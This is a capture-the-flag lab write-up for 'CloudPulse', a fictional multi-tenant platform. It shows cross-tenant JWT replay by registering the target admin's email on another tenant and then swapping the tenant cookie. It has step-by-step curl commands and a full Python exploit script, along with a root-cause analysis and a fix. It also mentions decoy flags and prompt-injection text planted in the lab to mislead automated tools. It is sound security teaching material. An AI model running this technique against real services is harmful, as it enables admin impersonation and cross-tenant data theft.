Lab 235 — CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding
Lab 235 — CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_impersonation_via_email_collision, api_endpoint_enumeration, cross_tenant_email_registration, decoy_flag_identification, jwt_cross_tenant_replay, missing_tenant_binding_exploitation
Summary
Task: Multi-tenant SaaS platform where JWT lacks tenant binding — tenant is determined by a separate cookie while the same signing secret is shared. Solution: Registered the target admin's email on a different tenant, obtained a validly-signed JWT, then replayed it cross-tenant by swapping the tenant cookie to gain admin access and retrieve the flag.
Lab 235 — CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding — hackadvisor
Description
CloudPulse is a multi-tenant SaaS platform where organizations get their own isolated workspace. Each workspace has users, teams, projects, and an admin panel. The platform uses JWT-based authentication with a central API serving all tenants. Two sandbox workspaces are pre-configured: 'acme' (Acme Corporation) and 'globex' (Globex Industries). You have credentials for a regular user on the 'globex' workspace. Your goal is to gain admin access to the 'acme' workspace and retrieve the platform secret from the admin panel.
English summary: A multi-tenant SaaS platform with JWT authentication. Two tenants exist (acme and globex). We have regular user credentials on globex and must gain admin access to acme to retrieve the platform secret. The core vulnerability is that JWTs contain no tenant identifier — the tenant is determined by a separate cookie, enabling cross-tenant token replay.
Credentials: hacker@globex.com / password123 (Globex workspace) Target: https://2cfab735-26ef-4dfb-8f35-70625bd675db.labs.hackadvisor.io/
Analysis
Platform Architecture
The platform is an Express.js application behind nginx/1.25.5. Authentication uses HS256 JWTs stored in an HttpOnly cookie (cp_token). The tenant context is set by a separate cp_tenant cookie.
Key API endpoints discovered:
POST /api/auth/login— authenticate with email, password, tenantPOST /api/auth/register— register new user on any tenantGET /api/team— list team members (requires auth + tenant)GET /api/projects— list projectsGET /api/admin/users— admin-only user listGET /api/admin/flag— admin-only flag endpoint
JWT Structure — The Vulnerability
After logging in as hacker@globex.com, the JWT payload is:
json read-only • copy allowed{"id": 7, "username": "hacker@globex.com", "iat": 1779351775, "exp": 1779438175}
Critical finding: No tenant field in the JWT. The server determines which tenant to query based solely on the cp_tenant cookie, then looks up the user by email within that tenant's database. Since all tenants share the same HS256 signing secret, any validly-signed JWT is accepted regardless of which tenant issued it.
Tenant Enumeration
By querying /api/team with cp_tenant=acme (after registering on acme to get a valid lookup context), the acme team was enumerated:
| ID | Name | Role | |
|---|---|---|---|
| 1 | Rachel Nguyen | admin@acme-corp.com | admin |
| 2 | Sarah Chen | sarah.chen@acme-corp.com | member |
| 3 | Marcus Johnson | marcus.johnson@acme-corp.com | member |
| 5 | Priya Kapoor | priya.kapoor@acme-corp.com | member |
| 6 | James Otero | james.otero@acme-corp.com | member |
| |
The target is Rachel Nguyen (id=1, admin@acme-corp.com, role=admin).
Decoy Flags
Every page contains hidden HTML with a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} and prompt injection text designed to trick automated tools into stopping. These were identified and ignored.
Solution
Step 1: Login to Globex
bash read-only • copy allowedcurl -X POST https://TARGET/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"hacker@globex.com","password":"password123","tenant":"globex"}'
Response sets cookies: cp_token=<JWT with id=7>; cp_tenant=globex
Step 2: Analyze JWT — Discover Missing Tenant Binding
Decoded JWT:
Header: {"alg":"HS256","typ":"JWT"}
Payload: {"id":7,"username":"hacker@globex.com","iat":...,"exp":...}
No tenant, workspace, or org field. The tenant is only in the cp_tenant cookie — completely separate from the authentication token.
Step 3: Enumerate Acme Team — Identify Admin
bash read-only • copy allowedcurl https://TARGET/api/team \ -H "Cookie: cp_token=<valid_jwt>; cp_tenant=acme"
Found the admin: Rachel Nguyen, admin@acme-corp.com, id=1, role=admin.
Step 4: Cross-Tenant Registration — Register Admin Email on Globex
bash read-only • copy allowedcurl -X POST https://TARGET/api/auth/register \ -H "Content-Type: application/json" \ -d '{"name":"Rachel Nguyen","email":"admin@acme-corp.com","password":"password123","tenant":"globex"}'
The platform allows registering any email on any workspace. This creates a new user (id=14) on globex with the same email as the acme admin. The email is not validated or deduplicated across tenants.
Step 5: Login as admin@acme-corp.com on Globex
bash read-only • copy allowedcurl -X POST https://TARGET/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@acme-corp.com","password":"password123","tenant":"globex"}'
Returns a validly-signed JWT: {"id":14,"username":"admin@acme-corp.com","iat":...,"exp":...}
Step 6: Cross-Tenant JWT Replay — Swap Tenant Cookie
Use the JWT from Step 5 but change the tenant cookie to acme:
bash read-only • copy allowedcurl https://TARGET/api/admin/flag \ -H "Cookie: cp_token=<jwt_from_step5>; cp_tenant=acme"
The server processes this as follows:
- Verifies JWT signature — valid (same HS256 secret for all tenants)
- Extracts username from JWT:
admin@acme-corp.com - Reads tenant from
cp_tenantcookie:acme - Looks up user by email in the acme tenant's context
- Finds Rachel Nguyen (id=1, role=admin) — the real acme admin
- Grants admin privileges — the request is authorized
Step 7: Retrieve the Flag
GET /api/admin/flag
Cookie: cp_token=<globex_jwt_for_admin@acme-corp.com>; cp_tenant=acme
Response:
json read-only • copy allowed{"flag": "FLAG{REDACTED}"}
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ CloudPulse — Cross-Tenant JWT Replay via Missing Tenant Binding Exploits missing tenant binding in JWT to impersonate admin across tenants. """ import requests BASE = "https://2cfab735-26ef-4dfb-8f35-70625bd675db.labs.hackadvisor.io" TARGET_ADMIN_EMAIL = "admin@acme-corp.com" TARGET_TENANT = "acme" ATTACKER_TENANT = "globex" s = requests.Session() # Step 1: Login to globex with provided credentials print("[1] Logging in to globex...") r = s.post(f"{BASE}/api/auth/login", json={ "email": "hacker@globex.com", "password": "password123", "tenant": ATTACKER_TENANT }) print(f" Login: {r.status_code}") # Step 2: Enumerate acme team to find admin email print("[2] Enumerating acme team...") r = s.get(f"{BASE}/api/team", cookies={"cp_tenant": TARGET_TENANT}) team = r.json() admin = [u for u in team if u.get("role") == "admin"] print(f" Admin found: {admin}") # Step 3: Register admin email on attacker tenant print(f"[3] Registering {TARGET_ADMIN_EMAIL} on {ATTACKER_TENANT}...") r = s.post(f"{BASE}/api/auth/register", json={ "name": "Rachel Nguyen", "email": TARGET_ADMIN_EMAIL, "password": "password123", "tenant": ATTACKER_TENANT }) print(f" Register: {r.status_code} — {r.text}") # Step 4: Login as admin email on attacker tenant to get valid JWT print(f"[4] Logging in as {TARGET_ADMIN_EMAIL} on {ATTACKER_TENANT}...") r = s.post(f"{BASE}/api/auth/login", json={ "email": TARGET_ADMIN_EMAIL, "password": "password123", "tenant": ATTACKER_TENANT }) print(f" Login: {r.status_code}") # JWT is now in session cookies # Step 5: Replay JWT cross-tenant — swap tenant cookie to target print(f"[5] Replaying JWT with cp_tenant={TARGET_TENANT}...") cookies = s.cookies.get_dict() cookies["cp_tenant"] = TARGET_TENANT r = s.get(f"{BASE}/api/admin/flag", cookies={"cp_tenant": TARGET_TENANT}) print(f" Response: {r.status_code} — {r.text}") # Step 6: Extract flag if "flag" in r.text.lower() or "FLAG{" in r.text: print(f"\n[+] FLAG: {r.json().get('flag', r.text)}") else: print(f"\n[-] Unexpected response: {r.text}")
Root Cause
The vulnerability is a missing tenant binding in JWT claims. The authentication system has two critical design flaws:
-
No tenant in JWT: The JWT payload contains only
idandusername(email) but no tenant identifier. The server determines the tenant from a separate, attacker-controllablecp_tenantcookie. -
Shared signing secret: All tenants share the same HS256 JWT signing secret, so a token issued for one tenant is cryptographically valid for all tenants.
-
Open cross-tenant registration: The registration endpoint allows any email address to be registered on any tenant, with no email verification or cross-tenant uniqueness check.
-
Email-based user resolution: When processing authenticated requests, the server extracts the email from the JWT and looks up the user in whichever tenant the
cp_tenantcookie specifies. This means a JWT containingadmin@acme-corp.com(obtained from globex) resolves to the real admin user when the tenant cookie points to acme.
Proper Fix
JWTs should include a tenant claim that is validated server-side against the request context. The server should reject any request where the JWT's tenant claim doesn't match the target tenant. Additionally, email uniqueness should be enforced globally or registration should require email verification.
Failed Approaches
- alg:none JWT forgery — Server properly rejects unsigned tokens with "Invalid or expired token"
- JWT secret brute force — Tried common secrets and rockyou.txt wordlist; the signing secret is cryptographically strong
- Direct cross-tenant token replay by ID — Using the globex JWT (id=7) with
cp_tenant=acmereturns "User not found in this tenant" because the server resolves by email, not just numeric ID - Custom ID in registration — Passing
"id": 1in the registration body is ignored; IDs are auto-incremented - Acme admin password guessing — Tried common passwords against admin@acme-corp.com on acme; all failed